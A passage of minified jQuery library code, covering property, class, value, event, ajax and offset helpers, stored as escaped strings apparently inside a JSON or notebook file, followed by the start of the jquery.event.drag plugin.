e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\"}E.fn.extend({prop:function(e,t){return q(this,E.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[E.propFix[e]||e]})}}),E.extend({prop:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&E.isXMLDoc(e)||(t=E.propFix[t]||t,r=E.propHooks[t]),void 0!==n?r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:e[t]=n:r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:e[t]},propHooks:{tabIndex:{get:function(e){var t=E.find.attr(e,\\\"tabindex\\\");return t?parseInt(t,10):ft.test(e.nodeName)||ht.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:\\\"htmlFor\\\",class:\\\"className\\\"}}),m.optSelected||(E.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),E.each([\\\"tabIndex\\\",\\\"readOnly\\\",\\\"maxLength\\\",\\\"cellSpacing\\\",\\\"cellPadding\\\",\\\"rowSpan\\\",\\\"colSpan\\\",\\\"useMap\\\",\\\"frameBorder\\\",\\\"contentEditable\\\"],function(){E.propFix[this.toLowerCase()]=this}),E.fn.extend({addClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).addClass(t.call(this,e,mt(this)))});if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)o.indexOf(\\\" \\\"+i+\\\" \\\")<0&&(o+=i+\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},removeClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).removeClass(t.call(this,e,mt(this)))});if(!arguments.length)return this.attr(\\\"class\\\",\\\"\\\");if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)for(;-1<o.indexOf(\\\" \\\"+i+\\\" \\\");)o=o.replace(\\\" \\\"+i+\\\" \\\",\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},toggleClass:function(r,t){var i=typeof r;return\\\"boolean\\\"==typeof t&&\\\"string\\\"===i?t?this.addClass(r):this.removeClass(r):E.isFunction(r)?this.each(function(e){E(this).toggleClass(r.call(this,e,mt(this),t),t)}):this.each(function(){var e,t,n,o;if(\\\"string\\\"===i)for(t=0,n=E(this),o=r.match(_)||[];e=o[t++];)n.hasClass(e)?n.removeClass(e):n.addClass(e);else void 0!==r&&\\\"boolean\\\"!==i||((e=mt(this))&&X.set(this,\\\"__className__\\\",e),this.setAttribute&&this.setAttribute(\\\"class\\\",e||!1===r?\\\"\\\":X.get(this,\\\"__className__\\\")||\\\"\\\"))})},hasClass:function(e){var t,n,o=0;for(t=\\\" \\\"+e+\\\" \\\";n=this[o++];)if(1===n.nodeType&&-1<(\\\" \\\"+gt(mt(n))+\\\" \\\").indexOf(t))return!0;return!1}});var vt=/\\\\r/g;E.fn.extend({val:function(n){var o,e,r,t=this[0];return arguments.length?(r=E.isFunction(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=r?n.call(this,e,E(this).val()):n)?t=\\\"\\\":\\\"number\\\"==typeof t?t+=\\\"\\\":Array.isArray(t)&&(t=E.map(t,function(e){return null==e?\\\"\\\":e+\\\"\\\"})),(o=E.valHooks[this.type]||E.valHooks[this.nodeName.toLowerCase()])&&\\\"set\\\"in o&&void 0!==o.set(this,t,\\\"value\\\")||(this.value=t))})):t?(o=E.valHooks[t.type]||E.valHooks[t.nodeName.toLowerCase()])&&\\\"get\\\"in o&&void 0!==(e=o.get(t,\\\"value\\\"))?e:\\\"string\\\"==typeof(e=t.value)?e.replace(vt,\\\"\\\"):null==e?\\\"\\\":e:void 0}}),E.extend({valHooks:{option:{get:function(e){var t=E.find.attr(e,\\\"value\\\");return null!=t?t:gt(E.text(e))}},select:{get:function(e){var t,n,o,r=e.options,i=e.selectedIndex,l=\\\"select-one\\\"===e.type,s=l?null:[],a=l?i+1:r.length;for(o=i<0?a:l?i:0;o<a;o++)if(((n=r[o]).selected||o===i)&&!n.disabled&&(!n.parentNode.disabled||!k(n.parentNode,\\\"optgroup\\\"))){if(t=E(n).val(),l)return t;s.push(t)}return s},set:function(e,t){for(var n,o,r=e.options,i=E.makeArray(t),l=r.length;l--;)((o=r[l]).selected=-1<E.inArray(E.valHooks.option.get(o),i))&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),E.each([\\\"radio\\\",\\\"checkbox\\\"],function(){E.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<E.inArray(E(e).val(),t)}},m.checkOn||(E.valHooks[this].get=function(e){return null===e.getAttribute(\\\"value\\\")?\\\"on\\\":e.value})});var wt=/^(?:focusinfocus|focusoutblur)$/;E.extend(E.event,{trigger:function(e,t,n,o){var r,i,l,s,a,c,u,d=[n||S],p=h.call(e,\\\"type\\\")?e.type:e,f=h.call(e,\\\"namespace\\\")?e.namespace.split(\\\".\\\"):[];if(i=l=n=n||S,3!==n.nodeType&&8!==n.nodeType&&!wt.test(p+E.event.triggered)&&(-1<p.indexOf(\\\".\\\")&&(p=(f=p.split(\\\".\\\")).shift(),f.sort()),a=p.indexOf(\\\":\\\")<0&&\\\"on\\\"+p,(e=e[E.expando]?e:new E.Event(p,\\\"object\\\"==typeof e&&e)).isTrigger=o?2:3,e.namespace=f.join(\\\".\\\"),e.rnamespace=e.namespace?new RegExp(\\\"(^|\\\\\\\\.)\\\"+f.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:E.makeArray(t,[e]),u=E.event.special[p]||{},o||!u.trigger||!1!==u.trigger.apply(n,t))){if(!o&&!u.noBubble&&!E.isWindow(n)){for(s=u.delegateType||p,wt.test(s+p)||(i=i.parentNode);i;i=i.parentNode)d.push(i),l=i;l===(n.ownerDocument||S)&&d.push(l.defaultView||l.parentWindow||R)}for(r=0;(i=d[r++])&&!e.isPropagationStopped();)e.type=1<r?s:u.bindType||p,(c=(X.get(i,\\\"events\\\")||{})[e.type]&&X.get(i,\\\"handle\\\"))&&c.apply(i,t),(c=a&&i[a])&&c.apply&&O(i)&&(e.result=c.apply(i,t),!1===e.result&&e.preventDefault());return e.type=p,o||e.isDefaultPrevented()||u._default&&!1!==u._default.apply(d.pop(),t)||!O(n)||a&&E.isFunction(n[p])&&!E.isWindow(n)&&((l=n[a])&&(n[a]=null),E.event.triggered=p,n[p](),E.event.triggered=void 0,l&&(n[a]=l)),e.result}},simulate:function(e,t,n){var o=E.extend(new E.Event,n,{type:e,isSimulated:!0});E.event.trigger(o,null,t)}}),E.fn.extend({trigger:function(e,t){return this.each(function(){E.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return E.event.trigger(e,t,n,!0)}}),E.each(\\\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\\\".split(\\\" \\\"),function(e,n){E.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}}),E.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),m.focusin=\\\"onfocusin\\\"in R,m.focusin||E.each({focus:\\\"focusin\\\",blur:\\\"focusout\\\"},function(n,o){var r=function(e){E.event.simulate(o,e.target,E.event.fix(e))};E.event.special[o]={setup:function(){var e=this.ownerDocument||this,t=X.access(e,o);t||e.addEventListener(n,r,!0),X.access(e,o,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this,t=X.access(e,o)-1;t?X.access(e,o,t):(e.removeEventListener(n,r,!0),X.remove(e,o))}}});var yt=R.location,Ct=E.now(),bt=/\\\\?/;E.parseXML=function(e){var t;if(!e||\\\"string\\\"!=typeof e)return null;try{t=(new R.DOMParser).parseFromString(e,\\\"text/xml\\\")}catch(e){t=void 0}return t&&!t.getElementsByTagName(\\\"parsererror\\\").length||E.error(\\\"Invalid XML: \\\"+e),t};var xt=/\\\\[\\\\]$/,Rt=/\\\\r?\\\\n/g,St=/^(?:submit|button|image|reset|file)$/i,Et=/^(?:input|select|textarea|keygen)/i;function kt(n,e,o,r){var t;if(Array.isArray(e))E.each(e,function(e,t){o||xt.test(n)?r(n,t):kt(n+\\\"[\\\"+(\\\"object\\\"==typeof t&&null!=t?e:\\\"\\\")+\\\"]\\\",t,o,r)});else if(o||\\\"object\\\"!==E.type(e))r(n,e);else for(t in e)kt(n+\\\"[\\\"+t+\\\"]\\\",e[t],o,r)}E.param=function(e,t){var n,o=[],r=function(e,t){var n=E.isFunction(t)?t():t;o[o.length]=encodeURIComponent(e)+\\\"=\\\"+encodeURIComponent(null==n?\\\"\\\":n)};if(Array.isArray(e)||e.jquery&&!E.isPlainObject(e))E.each(e,function(){r(this.name,this.value)});else for(n in e)kt(n,e[n],t,r);return o.join(\\\"&\\\")},E.fn.extend({serialize:function(){return E.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=E.prop(this,\\\"elements\\\");return e?E.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!E(this).is(\\\":disabled\\\")&&Et.test(this.nodeName)&&!St.test(e)&&(this.checked||!le.test(e))}).map(function(e,t){var n=E(this).val();return null==n?null:Array.isArray(n)?E.map(n,function(e){return{name:t.name,value:e.replace(Rt,\\\"\\\\r\\\\n\\\")}}):{name:t.name,value:n.replace(Rt,\\\"\\\\r\\\\n\\\")}}).get()}});var Tt=/%20/g,Pt=/#.*$/,Dt=/([?&])_=[^&]*/,At=/^(.*?):[ \\\\t]*([^\\\\r\\\\n]*)$/gm,Nt=/^(?:GET|HEAD)$/,$t=/^\\\\/\\\\//,Ht={},Lt={},Ft=\\\"*/\\\".concat(\\\"*\\\"),_t=S.createElement(\\\"a\\\");function It(i){return function(e,t){\\\"string\\\"!=typeof e&&(t=e,e=\\\"*\\\");var n,o=0,r=e.toLowerCase().match(_)||[];if(E.isFunction(t))for(;n=r[o++];)\\\"+\\\"===n[0]?(n=n.slice(1)||\\\"*\\\",(i[n]=i[n]||[]).unshift(t)):(i[n]=i[n]||[]).push(t)}}function Mt(t,r,i,l){var s={},a=t===Lt;function c(e){var o;return s[e]=!0,E.each(t[e]||[],function(e,t){var n=t(r,i,l);return\\\"string\\\"!=typeof n||a||s[n]?a?!(o=n):void 0:(r.dataTypes.unshift(n),c(n),!1)}),o}return c(r.dataTypes[0])||!s[\\\"*\\\"]&&c(\\\"*\\\")}function Wt(e,t){var n,o,r=E.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((r[n]?e:o||(o={}))[n]=t[n]);return o&&E.extend(!0,e,o),e}_t.href=yt.href,E.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yt.href,type:\\\"GET\\\",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(yt.protocol),global:!0,processData:!0,async:!0,contentType:\\\"application/x-www-form-urlencoded; charset=UTF-8\\\",accepts:{\\\"*\\\":Ft,text:\\\"text/plain\\\",html:\\\"text/html\\\",xml:\\\"application/xml, text/xml\\\",json:\\\"application/json, text/javascript\\\"},contents:{xml:/\\\\bxml\\\\b/,html:/\\\\bhtml/,json:/\\\\bjson\\\\b/},responseFields:{xml:\\\"responseXML\\\",text:\\\"responseText\\\",json:\\\"responseJSON\\\"},converters:{\\\"* text\\\":String,\\\"text html\\\":!0,\\\"text json\\\":JSON.parse,\\\"text xml\\\":E.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Wt(Wt(e,E.ajaxSettings),t):Wt(E.ajaxSettings,e)},ajaxPrefilter:It(Ht),ajaxTransport:It(Lt),ajax:function(e,t){\\\"object\\\"==typeof e&&(t=e,e=void 0),t=t||{};var u,d,p,n,f,o,h,g,r,i,m=E.ajaxSetup({},t),v=m.context||m,w=m.context&&(v.nodeType||v.jquery)?E(v):E.event,y=E.Deferred(),C=E.Callbacks(\\\"once memory\\\"),b=m.statusCode||{},l={},s={},a=\\\"canceled\\\",x={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n)for(n={};t=At.exec(p);)n[t[1].toLowerCase()]=t[2];t=n[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,l[e]=t),this},overrideMimeType:function(e){return null==h&&(m.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)x.always(e[x.status]);else for(t in e)b[t]=[b[t],e[t]];return this},abort:function(e){var t=e||a;return u&&u.abort(t),c(0,t),this}};if(y.promise(x),m.url=((e||m.url||yt.href)+\\\"\\\").replace($t,yt.protocol+\\\"//\\\"),m.type=t.method||t.type||m.method||m.type,m.dataTypes=(m.dataType||\\\"*\\\").toLowerCase().match(_)||[\\\"\\\"],null==m.crossDomain){o=S.createElement(\\\"a\\\");try{o.href=m.url,o.href=o.href,m.crossDomain=_t.protocol+\\\"//\\\"+_t.host!=o.protocol+\\\"//\\\"+o.host}catch(e){m.crossDomain=!0}}if(m.data&&m.processData&&\\\"string\\\"!=typeof m.data&&(m.data=E.param(m.data,m.traditional)),Mt(Ht,m,t,x),h)return x;for(r in(g=E.event&&m.global)&&0==E.active++&&E.event.trigger(\\\"ajaxStart\\\"),m.type=m.type.toUpperCase(),m.hasContent=!Nt.test(m.type),d=m.url.replace(Pt,\\\"\\\"),m.hasContent?m.data&&m.processData&&0===(m.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&(m.data=m.data.replace(Tt,\\\"+\\\")):(i=m.url.slice(d.length),m.data&&(d+=(bt.test(d)?\\\"&\\\":\\\"?\\\")+m.data,delete m.data),!1===m.cache&&(d=d.replace(Dt,\\\"$1\\\"),i=(bt.test(d)?\\\"&\\\":\\\"?\\\")+\\\"_=\\\"+Ct+++i),m.url=d+i),m.ifModified&&(E.lastModified[d]&&x.setRequestHeader(\\\"If-Modified-Since\\\",E.lastModified[d]),E.etag[d]&&x.setRequestHeader(\\\"If-None-Match\\\",E.etag[d])),(m.data&&m.hasContent&&!1!==m.contentType||t.contentType)&&x.setRequestHeader(\\\"Content-Type\\\",m.contentType),x.setRequestHeader(\\\"Accept\\\",m.dataTypes[0]&&m.accepts[m.dataTypes[0]]?m.accepts[m.dataTypes[0]]+(\\\"*\\\"!==m.dataTypes[0]?\\\", \\\"+Ft+\\\"; q=0.01\\\":\\\"\\\"):m.accepts[\\\"*\\\"]),m.headers)x.setRequestHeader(r,m.headers[r]);if(m.beforeSend&&(!1===m.beforeSend.call(v,x,m)||h))return x.abort();if(a=\\\"abort\\\",C.add(m.complete),x.done(m.success),x.fail(m.error),u=Mt(Lt,m,t,x)){if(x.readyState=1,g&&w.trigger(\\\"ajaxSend\\\",[x,m]),h)return x;m.async&&0<m.timeout&&(f=R.setTimeout(function(){x.abort(\\\"timeout\\\")},m.timeout));try{h=!1,u.send(l,c)}catch(e){if(h)throw e;c(-1,e)}}else c(-1,\\\"No Transport\\\");function c(e,t,n,o){var r,i,l,s,a,c=t;h||(h=!0,f&&R.clearTimeout(f),u=void 0,p=o||\\\"\\\",x.readyState=0<e?4:0,r=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var o,r,i,l,s=e.contents,a=e.dataTypes;for(;\\\"*\\\"===a[0];)a.shift(),void 0===o&&(o=e.mimeType||t.getResponseHeader(\\\"Content-Type\\\"));if(o)for(r in s)if(s[r]&&s[r].test(o)){a.unshift(r);break}if(a[0]in n)i=a[0];else{for(r in n){if(!a[0]||e.converters[r+\\\" \\\"+a[0]]){i=r;break}l||(l=r)}i=i||l}if(i)return i!==a[0]&&a.unshift(i),n[i]}(m,x,n)),s=function(e,t,n,o){var r,i,l,s,a,c={},u=e.dataTypes.slice();if(u[1])for(l in e.converters)c[l.toLowerCase()]=e.converters[l];i=u.shift();for(;i;)if(e.responseFields[i]&&(n[e.responseFields[i]]=t),!a&&o&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),a=i,i=u.shift())if(\\\"*\\\"===i)i=a;else if(\\\"*\\\"!==a&&a!==i){if(!(l=c[a+\\\" \\\"+i]||c[\\\"* \\\"+i]))for(r in c)if((s=r.split(\\\" \\\"))[1]===i&&(l=c[a+\\\" \\\"+s[0]]||c[\\\"* \\\"+s[0]])){!0===l?l=c[r]:!0!==c[r]&&(i=s[0],u.unshift(s[1]));break}if(!0!==l)if(l&&e.throws)t=l(t);else try{t=l(t)}catch(e){return{state:\\\"parsererror\\\",error:l?e:\\\"No conversion from \\\"+a+\\\" to \\\"+i}}}return{state:\\\"success\\\",data:t}}(m,s,x,r),r?(m.ifModified&&((a=x.getResponseHeader(\\\"Last-Modified\\\"))&&(E.lastModified[d]=a),(a=x.getResponseHeader(\\\"etag\\\"))&&(E.etag[d]=a)),204===e||\\\"HEAD\\\"===m.type?c=\\\"nocontent\\\":304===e?c=\\\"notmodified\\\":(c=s.state,i=s.data,l=s.error,r=!l)):(l=c,!e&&c||(c=\\\"error\\\",e<0&&(e=0))),x.status=e,x.statusText=(t||c)+\\\"\\\",r?y.resolveWith(v,[i,c,x]):y.rejectWith(v,[x,c,l]),x.statusCode(b),b=void 0,g&&w.trigger(r?\\\"ajaxSuccess\\\":\\\"ajaxError\\\",[x,m,r?i:l]),C.fireWith(v,[x,c]),g&&(w.trigger(\\\"ajaxComplete\\\",[x,m]),--E.active||E.event.trigger(\\\"ajaxStop\\\")))}return x},getJSON:function(e,t,n){return E.get(e,t,n,\\\"json\\\")},getScript:function(e,t){return E.get(e,void 0,t,\\\"script\\\")}}),E.each([\\\"get\\\",\\\"post\\\"],function(e,r){E[r]=function(e,t,n,o){return E.isFunction(t)&&(o=o||n,n=t,t=void 0),E.ajax(E.extend({url:e,type:r,dataType:o,data:t,success:n},E.isPlainObject(e)&&e))}}),E._evalUrl=function(e){return E.ajax({url:e,type:\\\"GET\\\",dataType:\\\"script\\\",cache:!0,async:!1,global:!1,throws:!0})},E.fn.extend({wrapAll:function(e){var t;return this[0]&&(E.isFunction(e)&&(e=e.call(this[0])),t=E(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return E.isFunction(n)?this.each(function(e){E(this).wrapInner(n.call(this,e))}):this.each(function(){var e=E(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=E.isFunction(t);return this.each(function(e){E(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not(\\\"body\\\").each(function(){E(this).replaceWith(this.childNodes)}),this}}),E.expr.pseudos.hidden=function(e){return!E.expr.pseudos.visible(e)},E.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},E.ajaxSettings.xhr=function(){try{return new R.XMLHttpRequest}catch(e){}};var jt={0:200,1223:204},Vt=E.ajaxSettings.xhr();m.cors=!!Vt&&\\\"withCredentials\\\"in Vt,m.ajax=Vt=!!Vt,E.ajaxTransport(function(r){var i,l;if(m.cors||Vt&&!r.crossDomain)return{send:function(e,t){var n,o=r.xhr();if(o.open(r.type,r.url,r.async,r.username,r.password),r.xhrFields)for(n in r.xhrFields)o[n]=r.xhrFields[n];for(n in r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.crossDomain||e[\\\"X-Requested-With\\\"]||(e[\\\"X-Requested-With\\\"]=\\\"XMLHttpRequest\\\"),e)o.setRequestHeader(n,e[n]);i=function(e){return function(){i&&(i=l=o.onload=o.onerror=o.onabort=o.onreadystatechange=null,\\\"abort\\\"===e?o.abort():\\\"error\\\"===e?\\\"number\\\"!=typeof o.status?t(0,\\\"error\\\"):t(o.status,o.statusText):t(jt[o.status]||o.status,o.statusText,\\\"text\\\"!==(o.responseType||\\\"text\\\")||\\\"string\\\"!=typeof o.responseText?{binary:o.response}:{text:o.responseText},o.getAllResponseHeaders()))}},o.onload=i(),l=o.onerror=i(\\\"error\\\"),void 0!==o.onabort?o.onabort=l:o.onreadystatechange=function(){4===o.readyState&&R.setTimeout(function(){i&&l()})},i=i(\\\"abort\\\");try{o.send(r.hasContent&&r.data||null)}catch(e){if(i)throw e}},abort:function(){i&&i()}}}),E.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),E.ajaxSetup({accepts:{script:\\\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\\\"},contents:{script:/\\\\b(?:java|ecma)script\\\\b/},converters:{\\\"text script\\\":function(e){return E.globalEval(e),e}}}),E.ajaxPrefilter(\\\"script\\\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\\\"GET\\\")}),E.ajaxTransport(\\\"script\\\",function(n){var o,r;if(n.crossDomain)return{send:function(e,t){o=E(\\\"<script>\\\").prop({charset:n.scriptCharset,src:n.url}).on(\\\"load error\\\",r=function(e){o.remove(),r=null,e&&t(\\\"error\\\"===e.type?404:200,e.type)}),S.head.appendChild(o[0])},abort:function(){r&&r()}}});var Bt,qt=[],Ot=/(=)\\\\?(?=&|$)|\\\\?\\\\?/;E.ajaxSetup({jsonp:\\\"callback\\\",jsonpCallback:function(){var e=qt.pop()||E.expando+\\\"_\\\"+Ct++;return this[e]=!0,e}}),E.ajaxPrefilter(\\\"json jsonp\\\",function(e,t,n){var o,r,i,l=!1!==e.jsonp&&(Ot.test(e.url)?\\\"url\\\":\\\"string\\\"==typeof e.data&&0===(e.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&Ot.test(e.data)&&\\\"data\\\");if(l||\\\"jsonp\\\"===e.dataTypes[0])return o=e.jsonpCallback=E.isFunction(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,l?e[l]=e[l].replace(Ot,\\\"$1\\\"+o):!1!==e.jsonp&&(e.url+=(bt.test(e.url)?\\\"&\\\":\\\"?\\\")+e.jsonp+\\\"=\\\"+o),e.converters[\\\"script json\\\"]=function(){return i||E.error(o+\\\" was not called\\\"),i[0]},e.dataTypes[0]=\\\"json\\\",r=R[o],R[o]=function(){i=arguments},n.always(function(){void 0===r?E(R).removeProp(o):R[o]=r,e[o]&&(e.jsonpCallback=t.jsonpCallback,qt.push(o)),i&&E.isFunction(r)&&r(i[0]),i=r=void 0}),\\\"script\\\"}),m.createHTMLDocument=((Bt=S.implementation.createHTMLDocument(\\\"\\\").body).innerHTML=\\\"<form></form><form></form>\\\",2===Bt.childNodes.length),E.parseHTML=function(e,t,n){return\\\"string\\\"!=typeof e?[]:(\\\"boolean\\\"==typeof t&&(n=t,t=!1),t||(m.createHTMLDocument?(t=S.implementation.createHTMLDocument(\\\"\\\"),(o=t.createElement(\\\"base\\\")).href=S.location.href,t.head.appendChild(o)):t=S),r=T.exec(e),i=!n&&[],r?[t.createElement(r[1])]:(r=me([e],t,i),i&&i.length&&E(i).remove(),E.merge([],r.childNodes)));var o,r,i},E.fn.load=function(e,t,n){var o,r,i,l=this,s=e.indexOf(\\\" \\\");return-1<s&&(o=gt(e.slice(s)),e=e.slice(0,s)),E.isFunction(t)?(n=t,t=void 0):t&&\\\"object\\\"==typeof t&&(r=\\\"POST\\\"),0<l.length&&E.ajax({url:e,type:r||\\\"GET\\\",dataType:\\\"html\\\",data:t}).done(function(e){i=arguments,l.html(o?E(\\\"<div>\\\").append(E.parseHTML(e)).find(o):e)}).always(n&&function(e,t){l.each(function(){n.apply(this,i||[e.responseText,t,e])})}),this},E.each([\\\"ajaxStart\\\",\\\"ajaxStop\\\",\\\"ajaxComplete\\\",\\\"ajaxError\\\",\\\"ajaxSuccess\\\",\\\"ajaxSend\\\"],function(e,t){E.fn[t]=function(e){return this.on(t,e)}}),E.expr.pseudos.animated=function(t){return E.grep(E.timers,function(e){return t===e.elem}).length},E.offset={setOffset:function(e,t,n){var o,r,i,l,s,a,c=E.css(e,\\\"position\\\"),u=E(e),d={};\\\"static\\\"===c&&(e.style.position=\\\"relative\\\"),s=u.offset(),i=E.css(e,\\\"top\\\"),a=E.css(e,\\\"left\\\"),(\\\"absolute\\\"===c||\\\"fixed\\\"===c)&&-1<(i+a).indexOf(\\\"auto\\\")?(o=u.position(),l=o.top,r=o.left):(l=parseFloat(i)||0,r=parseFloat(a)||0),E.isFunction(t)&&(t=t.call(e,n,E.extend({},s))),null!=t.top&&(d.top=t.top-s.top+l),null!=t.left&&(d.left=t.left-s.left+r),\\\"using\\\"in t?t.using.call(e,d):u.css(d)}},E.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){E.offset.setOffset(this,t,e)});var e,n,o,r,i=this[0];return i?i.getClientRects().length?(o=i.getBoundingClientRect(),e=i.ownerDocument,n=e.documentElement,r=e.defaultView,{top:o.top+r.pageYOffset-n.clientTop,left:o.left+r.pageXOffset-n.clientLeft}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n=this[0],o={top:0,left:0};return\\\"fixed\\\"===E.css(n,\\\"position\\\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),k(e[0],\\\"html\\\")||(o=e.offset()),o={top:o.top+E.css(e[0],\\\"borderTopWidth\\\",!0),left:o.left+E.css(e[0],\\\"borderLeftWidth\\\",!0)}),{top:t.top-o.top-E.css(n,\\\"marginTop\\\",!0),left:t.left-o.left-E.css(n,\\\"marginLeft\\\",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&\\\"static\\\"===E.css(e,\\\"position\\\");)e=e.offsetParent;return e||ve})}}),E.each({scrollLeft:\\\"pageXOffset\\\",scrollTop:\\\"pageYOffset\\\"},function(t,r){var i=\\\"pageYOffset\\\"===r;E.fn[t]=function(e){return q(this,function(e,t,n){var o;if(E.isWindow(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===n)return o?o[r]:e[t];o?o.scrollTo(i?o.pageXOffset:n,i?n:o.pageYOffset):e[t]=n},t,e,arguments.length)}}),E.each([\\\"top\\\",\\\"left\\\"],function(e,n){E.cssHooks[n]=Ve(m.pixelPosition,function(e,t){if(t)return t=je(e,n),Me.test(t)?E(e).position()[n]+\\\"px\\\":t})}),E.each({Height:\\\"height\\\",Width:\\\"width\\\"},function(l,s){E.each({padding:\\\"inner\\\"+l,content:s,\\\"\\\":\\\"outer\\\"+l},function(o,i){E.fn[i]=function(e,t){var n=arguments.length&&(o||\\\"boolean\\\"!=typeof e),r=o||(!0===e||!0===t?\\\"margin\\\":\\\"border\\\");return q(this,function(e,t,n){var o;return E.isWindow(e)?0===i.indexOf(\\\"outer\\\")?e[\\\"inner\\\"+l]:e.document.documentElement[\\\"client\\\"+l]:9===e.nodeType?(o=e.documentElement,Math.max(e.body[\\\"scroll\\\"+l],o[\\\"scroll\\\"+l],e.body[\\\"offset\\\"+l],o[\\\"offset\\\"+l],o[\\\"client\\\"+l])):void 0===n?E.css(e,t,r):E.style(e,t,n,r)},s,n?e:void 0,n)}})}),E.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,o){return this.on(t,e,n,o)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\\\"**\\\"):this.off(t,e||\\\"**\\\",n)}}),E.holdReady=function(e){e?E.readyWait++:E.ready(!0)},E.isArray=Array.isArray,E.parseJSON=JSON.parse,E.nodeName=k,\\\"function\\\"==typeof define&&define.amd&&define(\\\"jquery\\\",[],function(){return E});var zt=R.jQuery,Xt=R.$;return E.noConflict=function(e){return R.$===E&&(R.$=Xt),e&&R.jQuery===E&&(R.jQuery=zt),E},e||(R.jQuery=R.$=E),E})},442:function(e,t,n){\\n\",\n       \"      /*!\\n\",\n       \"           * jquery.event.drag - v 2.3.0\\n\",\n       \"           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n\",\n       \"           * Open Source MIT License - http://threedubmedia.com/code/license\\n\",\n       \"           */\\n\",\n       \"      var f=e(448);f.fn.drag=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drag\\\")&&(o=\\\"drag\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)};var h=f.event,o=h.special,g=o.drag={defaults:{which:1,distance:0,not:\\\":input\\\",handle:null,relative:!1,drop:!0,click:!1},datakey:\\\"dragdata\\\",noBubble:!0,add:function(e){var n=f.data(this,g.datakey),o=e.data||{};n.related+=1,f.each(g.defaults,function(e,t){void 0!==o[e]&&(n[e]=o[e])})},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){var e=f.extend({related:0},g.defaults);f.data(this,g.datakey,e),h.add(this,\\\"touchstart mousedown\\\",g.init,e),this.attachEvent&&this.attachEvent(\\\"ondragstart\\\",g.dontstart)}},teardown:function(){var e=f.data(this,g.datakey)||{};e.related||(f.removeData(this,g.datakey),h.remove(this,\\\"touchstart mousedown\\\",g.init),g.textselect(!0),this.detachEvent&&this.detachEvent(\\\"ondragstart\\\",g.dontstart))},init:function(e){if(!g.touched){var 